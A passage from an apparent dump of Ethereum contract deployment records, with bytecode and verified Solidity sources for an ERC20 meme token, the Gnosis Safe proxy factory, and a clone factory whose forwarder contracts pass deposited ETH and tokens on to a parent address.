⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⢸⡿⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⢿⣿⣇⡄⠀⠉⠁⠀⠈⠈⠀⠀⠀⠀⢀⣘⣥⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣀⠀⠀⠀⡀⠀⠀⠀⠀⠀⣀⡀⢀⣰⣿⡿⠃⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠉⠛⠿⢿⣾⣧⣤⣾⣿⣯⣾⣷⠿⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠿⠿⣶⣶⣾⣿⣿⣿⣦⣶⠾⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n\n*/\n\ncontract tummy is ERC20 {\n constructor() ERC20(\"tummy\", \"tummy\") {\n _mint(msg.sender, 35_769_420 * 10 ** decimals());\n }\n}"}}
|
1 | 19,497,466 |
0f0a958421ce2f8a201b0394391c86649fdb5cc62b0c042d24ef6f95d466dff4
|
8ecc6e1873946d77c6ae94cbf766a798f6a9ebc2f799df4e1f84a3b76acb2ab6
|
b49ce783e7572ffe985c0eeced326b621201ffda
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
42e9f6356a9aa1e003d42b02ed3aae445271944c
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,469 |
c46343d5e1099502435cd9e20420208015e6c4d13bd6e72a94490d58e4a47919
|
42c2b217f2f3be7401ad470422a7fc645e38ac38127d3d146405ea736b05adab
|
3aeb5831f91d29b3992d659821a7fed7b805a107
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
7199c9a0823880f47c8dadd833ef185dad75c3c0
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,472 |
37367995b7cf74fcd35a0b914e2facaa018793a39241421b3da5f45bdcd1f833
|
ede351c4450c3f0cfab54509bdda381dd054cf28efcaabab9c0128f5057ba576
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
cd119929ea11a49e369d2db8efa0a48efffad43b
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,497,474 |
14a5dd7f7590405b8389100827bc8be67a565274cb005f784e1f17286a78a3aa
|
c77242beb31723c96e9f6689de586be79f8310287200abd244f15f3fbda0e034
|
00bdb5699745f5b860228c8f939abf1b9ae374ed
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
96c58d7187d4a56720b62da24c5c9be00aa903a9
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,476 |
291b1062e2212a2a1b60267f2e1ce2737aa6207fd55389a00c0248f7b4084474
|
0f38f88fb96c1ee7423b9ddad7a49dc220a85c58dabb19bebb49d15a45fde099
|
a465659835c1585aa740b613330ae45262e65e25
|
a465659835c1585aa740b613330ae45262e65e25
|
d0d1e4254ec5a6a11abfcb5fddae4797db7e5208
|
6080604052620000126012600a620002a5565b6200002190620f4240620002bd565b6200002e906002620002bd565b600455600060065560056007556001600c55600d805460ff191690553480156200005757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a80546001600160a01b03191673e6db8fce7ac8b472a4e4e6046a804fbcf3603f7917815533600090815260036020526040808220805460ff199081166001908117909255308452828420805482168317905584546001600160a01b0316845291909220805490911690911790556200011690601290620002a5565b62000126906305f5e100620002bd565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001696012600a620002a5565b62000179906305f5e100620002bd565b60405190815260200160405180910390a3620002d7565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001e7578160001904821115620001cb57620001cb62000190565b80851615620001d957918102915b93841c9390800290620001ab565b509250929050565b60008262000200575060016200029f565b816200020f575060006200029f565b8160018114620002285760028114620002335762000253565b60019150506200029f565b60ff84111562000247576200024762000190565b50506001821b6200029f565b5060208310610133831016604e8410600b841016171562000278575081810a6200029f565b620002848383620001a6565b80600019048211156200029b576200029b62000190565b0290505b92915050565b6000620002b660ff841683620001ef565b9392505050565b80820281158282048414176200029f576200029f62000190565b61181980620002e76000396000f3fe60806040526004361061014f5760003560e01c80638709bd27116100b6578063aa4bde281161006f578063aa4bde28146103c6578063cc1776d3146103dc578063d10a0891146103f2578063dd62ed3e14610412578063ddd06b8614610458578063f2fde38b1461046d57600080fd5b80638709bd271461031d5780638a225f61146103325780638da5cb5b1461034757806395d89b411461036557806398fd9b6e14610391578063a9059cbb146103a657600080fd5b806349bd5a5e1161010857806349bd5a5e146102445780634f7041a51461027c578063637f7cf41461029257806370a08231146102b2578063715018a6146102e8578063792bf54d146102fd57600080fd5b806306fdde031461015b578063095ea7b31461019e57806318160ddd146101ce57806319ba0309146101f157806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50604080518082019091526008815267544554414e20414960c01b60208201525b60405161019591906113e8565b60405180910390f35b3480156101aa57600080fd5b506101be6101b936600461144b565b61048d565b6040519015158152602001610195565b3480156101da57600080fd5b506101e36104a4565b604051908152602001610195565b3480156101fd57600080fd5b506102066104c5565b005b34801561021457600080fd5b506101be610223366004611477565b61086b565b34801561023457600080fd5b5060405160128152602001610195565b34801561025057600080fd5b50600954610264906001600160a01b031681565b6040516001600160a01b039091168152602001610195565b34801561028857600080fd5b506101e360065481565b34801561029e57600080fd5b506102066102ad3660046114b8565b610900565b3480156102be57600080fd5b506101e36102cd3660046114da565b6001600160a01b031660009081526001602052604090205490565b3480156102f457600080fd5b50610206610935565b34801561030957600080fd5b50600a54610264906001600160a01b031681565b34801561032957600080fd5b506102066109a9565b34801561033e57600080fd5b50610206610a33565b34801561035357600080fd5b506000546001600160a01b0316610264565b34801561037157600080fd5b506040805180820190915260038152622a20a760e91b6020820152610188565b34801561039d57600080fd5b50610206610a7c565b3480156103b257600080fd5b506101be6103c136600461144b565b610b22565b3480156103d257600080fd5b506101e360045481565b3480156103e857600080fd5b506101e360075481565b3480156103fe57600080fd5b5061020661040d3660046114fe565b610b2f565b34801561041e57600080fd5b506101e361042d366004611517565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561046457600080fd5b50610206610b5e565b34801561047957600080fd5b506102066104883660046114da565b610b94565b600061049a338484610c5f565b5060015b92915050565b60006104b26012600a61164a565b6104c0906305f5e100611659565b905090565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016104ef90611670565b60405180910390fd5b600d5460ff16156105455760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104ef565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105939030906105806012600a61164a565b61058e906305f5e100611659565b610c5f565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060a91906116a7565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069091906116a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070191906116a7565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d7194730610749816001600160a01b031660009081526001602052604090205490565b60008061075e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107eb91906116c4565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610844573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086891906116f2565b50565b6000610878848484610d23565b6108f6843361058e856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b